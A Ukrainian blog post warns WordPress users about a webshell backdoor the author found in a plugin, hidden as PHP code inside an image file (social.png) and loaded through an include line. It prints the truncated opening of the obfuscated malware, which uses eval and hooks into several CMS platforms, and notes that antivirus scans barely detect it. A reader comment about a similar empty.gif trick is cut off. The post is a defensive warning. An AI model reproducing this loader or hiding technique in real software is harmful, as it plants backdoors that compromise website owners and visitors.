ІнтернетСайти

Бекдор (webshell) у плагіні для WordPress

social_Розглядаючи внутрішню будову одного з плагінів для WordPress, я випадково зайшов у папку із зображеннями й машинально натиснув F3 (перегляд) на одному з них. І що ж побачив? Саме те, що ви бачите на скриншоті поруч: PHP-код замість очікуваного зображення. Думаю, очевидно, що цей код хтось хотів приховати.

Заради цікавості я вирішив перевірити цей файл на VirusTotal. Ось результат:

social_virustotalЛише 1 антивірус із 54 розпізнав у ньому CPRAd79.Webshell. В одному з PHP-файлів плагіна було знайдено фрагмент коду, який підключає цей код:

<?php include('images/social.png'); ?>

Сам код, схоже, обфускований:

<?php error_reporting(0); ini_set('display_errors', 0);@ini_set('max_execution_time', 300);@set_time_limit(0);function XJmVaOhvhAQNoaACoDOM() {    if (!defined('WP_OPTION_KEY')) {        define('WP_OPTION_KEY', 'wp_data_newa');        $oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(1);    }}if (class_exists('JFactory')) {    $fRBDRzVvkOhTDTWAHUGa = & JFactory::getApplication();    $fRBDRzVvkOhTDTWAHUGa->registerEvent('onAfterRender', 'XJmVaOhvhAQNoaACoDOM');}if ($GLOBALS['base_path'] || $GLOBALS['base_url']) {    if (!defined('WP_OPTION_KEY')) {        define('WP_OPTION_KEY', 'wp_data_newa');        $whjjnvouGqpgVFKDaceH = 'function ' . $template->name . "_page_alter(&\$page) {\$oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(2);            \$NygjKszxwCxlHbyDpHTT = \"\";            foreach (\$oXyaqmHoChvHQFCvTluq->oXyaqmHoChvHQFCvTluq['echo'] as \$stIedxfhoZcXvZNmNXTd) {                \$NygjKszxwCxlHbyDpHTT.=\$stIedxfhoZcXvZNmNXTd;            }            \$vsGIQvwCXRbSELMOlFV = \$NygjKszxwCxlHbyDpHTT;            \$page['page_top'][] = array('#markup' => \$vsGIQvwCXRbSELMOlFV);    } ";    }    eval($whjjnvouGqpgVFKDaceH);}if (!defined('WP_OPTION_KEY') && (function_exists('get_home_url') || function_exists('get_site_url'))) {    define('WP_OPTION_KEY', 'wp_data_newa');    new GsSYoMTsQibQgcHcuGmr(0);}class GsSYoMTsQibQgcHcuGmr {    public $oXyaqmHoChvHQFCvTluq = array(),        $yYVsqvOoqWsddypXgJcI = array(),        $KPnBqYhemQSdHKDNtJpe,         $qcCONSsvpJlMgdhEFFmr,

Я не буду докладно розбирати, на що здатен цей скрипт і як саме він працює. Мета цієї статті — нагадати, що будь-який плагін або тема, які ви завантажуєте з неперевірених джерел, збірників і особливо варезних сайтів, можуть містити шкідливий код. Якщо ви не помітите його одразу, він може згодом завдати чимало неприємностей. Антивіруси в цьому випадку не дають жодних гарантій: коли я перевірив архів, результат узагалі був 0, і лише під час перевірки саме цього файлу, попередньо змінивши розширення з png на php, один антивірус зміг розпізнати заразу.

PS. Кому цікаво, почитайте й другий допис: я знайшов цілий сайт із зараженими темами WordPress. Метод схожий, але код ховається в empty.gif.

Обговорення 4

  1. Да, почему-то из всех шаблонов, понравились именно на wordpressorg.ru. И, конечно же, шаблон был с “содержимым”.
    Много всего ТАМ. Но изюминка – empty.gif.
    Уничтожить ее – заменить

    на

Залишити коментар

Вашу електронну адресу не буде оприлюднено. Обов’язкові поля позначено *